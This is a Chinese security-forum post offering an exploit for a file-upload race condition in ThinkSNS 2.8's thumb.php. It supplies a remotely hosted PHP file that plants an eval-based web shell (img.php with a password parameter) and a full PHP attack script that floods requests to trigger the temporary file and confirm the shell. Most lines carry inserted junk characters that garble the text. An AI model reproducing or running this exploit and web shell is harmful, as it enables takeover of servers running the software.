找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2097|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
6 x8 ?, I$ \; O  B. n4 D4 D, Z( c& e存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)8 w! C) L  R9 v! a
漏洞文件
) J+ u+ C- V; [4 Q存在漏洞的文件为:thumb.php
1 d6 M# _; t# b0 L; [9 ]& s" @作者:韦鲲鹏
; W* P. `5 X) |6 ]" R0 v5 h1、        准备如下PHP文件并上传到服务器(自己的)。
4 H! m. y4 e& ?2 N1 }3 b文件内容如下:
( k0 Q0 Q) s% x<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>- I7 c- S6 B3 i+ a% p3 }
2、        计算出临时的文件名:
! s8 o  X; {9 u7 ?: {这里我们可以看文件的99行(刚刚是不是没注意呀!)。
8 {$ J# v( T8 h4 D4 N
7 |, d  s# k; J" F3 F& V+ [$ E9 I3、        上传临时文件。
; A" h# M7 `! l8 b5 D4、        访问临时文件。
4 |" R% D( r9 C: O* x4 Y但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
2 }2 D. M7 [% M; v7 x: PExploit文件内容如下:(这个我就不详细解释了)
8 b8 Z, f3 }. W( ]+ v<?php+ q6 }# R5 }0 Q( j
error_reporting(0);& F; y. m) ]' ?6 x
set_time_limit(0);; \& k# f" I. L  l) L
ini_set(“default_socket_timeout”, 5);- Q/ E* i( O" \- L$ A, q$ T" B
function http_send($host, $port, $headers) {
* H7 \! B' P! i* M; Y7 ?& ?$fp = fsockopen($host, $port);
5 [+ C: M# C4 _: Oif (!$fp) die(‘Connection -> fail’);3 V- y7 N4 Q) C9 w2 A( d7 C. z9 Y
fputs($fp, $headers);
* {9 V) U  ^; l$ j" \$ @return $fp;
+ [9 E  W4 Q0 r, N$ O}" N4 K  p0 F) l
function http_recv($fp) {4 H, g  ^! }5 y2 b
$ret=”";% A+ H: ?6 \. z$ ?
while (!feof($fp))1 y1 G: A/ w/ f4 I$ Y
$ret.= fgets($fp, 1024);
% T7 f) D6 j% g3 g. C1 Ofclose($fp);
/ s5 {. b3 A+ b6 Qreturn $ret;
- [5 ~6 l9 P; V+ ~# f, _}( g: W$ E0 o% q  S$ j& `0 w( `
print “\n#  ThinkSns Arbitrary File Upload   #\n”;: X/ u2 s8 ^/ [- z" `
print “# Discovered by 韦鲲鹏 #\n\n”;
- P' X+ V* k& Lif ($argc < 4) {
/ _. z6 g) }9 z0 y* q. C0 ]: Vprint “Usage:   php <host> <path> <romote_url>\n”;9 Q6 f* n: e( O8 T- k" L
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
3 g0 U; M; ~" s8 c  j6 `die();
% Q; {) Y+ j2 V9 y& X8 V}
" a$ \) h9 C: \5 I$host = $argv[1];6 B& I; M- r* ^
$path = $argv[2];" ^+ o# J$ O" {9 G: V
$url = $argv[3];7 ]  G' [( I; x" i* a. Z
$i=0;
9 g% P0 m& ~: X7 Q: h4 o6 n- S//上传数据包
9 y6 e, c# @8 \# f: c% B* a) z$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
* j9 _0 P1 R& u2 [; w$headers_up .= “Host: “.$host.”\r\n”;
1 k+ z$ h0 I+ j6 d' N* j$headers_up .= “Connection: close\r\n\r\n”;! d/ o# N/ [# f; Z& g6 m0 q
echo $headers_up;+ a! \# G1 _# o
//临时文件访问数据包9 P$ ]4 p4 K$ r1 t9 W  k
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;9 M/ F; U4 H3 Z% C. {; i9 ?* E
$headers .= “Host: “.$host.”\r\n”;5 F8 P( q& I4 z0 y. o
$headers .= “Connection: close\r\n\r\n”;
) I% H. L' ?+ O( `echo $headers;7 G+ z% ?9 ~- A, O/ f2 k. J
while(++$i<10) {9 U' M4 x1 y. Q: G1 |2 D& w$ {
fclose(http_send($host, 80, $headers));. U" Z% K( D% Y
}
" U+ E$ m* q7 }6 e. w! K2 T5 `fclose(http_send($host, 80, $headers_up));
0 `' c2 i* Y) s3 M1 @* Gwhile(++$i<50) {
! C3 K2 J, N: Y- g  k2 }2 x: Q3 ?# Ifclose(http_send($host, 80, $headers));
$ H$ n  p& k7 {+ H}
1 R! ?7 ~. j$ D% ~" |! |$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;( U, q9 K" L  p
$headers .= “Host: “.$host.”\r\n”;; N; G4 @! v, \5 N3 N9 @( u
$headers .= “Connection: close\r\n\r\n”;& |: c( T. l% p6 t, s. {* _
$res=http_recv(http_send($host, 80, $headers));. O1 B  k: r3 P& X/ o7 q
if(preg_match(‘/200 OK/’,$res)) {1 H4 X( M# T$ e% c. M) Y- t0 A
print “Success!\n\n”;
# {: W3 p1 E2 r" K. D+ Z1 J2 d& W8 i} else {
  m, Y+ Z0 N. d/ u7 D! M& \# ?9 `% Xprint “Fail!\n\n”;$ Z- d, d1 ]9 |; H+ @4 s" K
}* z' ]' t. h, g
?>
- h! c9 l! v, O- ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表